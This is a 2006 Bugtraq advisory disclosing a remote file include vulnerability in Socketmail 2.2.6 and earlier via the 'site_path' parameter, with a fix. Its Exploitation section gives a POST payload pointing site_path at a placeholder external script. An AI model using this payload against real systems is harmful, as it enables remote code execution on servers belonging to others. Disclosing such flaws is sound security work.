Bugtraq: [MajorSecurity #6]Socketmail <= 2.2.6 - Remote File Include Vulnerability

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[MajorSecurity]Socketmail <= 2.2.6 - Remote File Include Vulnerability
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Software: Socketmail

Version: <=2.2.6

Type: Remote File Include Vulnerability

Date: May, 25th 2006

Vendor: Creative Digital Resources  

Page: http://socketmail.com

Risc: High


Credits:
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'Aesthetico'

http://www.majorsecurity.de


Affected Products:
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Socketmail Lite 2.2.6 and prior
Socketmail  Pro 2.2.6 and prior


Description:
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SocketMail is a powerful, scalable and fully customisable e-mail solution.
Ideal messaging solution for sizes web site and enterprises.


Requirements:
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register_globals = On
magic_quotes = On


Vulnerability:
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Input passed to the "site_path" parameter in "index.php" and "inc-common.php" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.


Solution:
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Edit the source code to ensure that input is properly sanitised.
Set "register_globals" to "Off".


Exploitation:
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Post data:

site_path=http://www.yourspace.com/yourscript.php?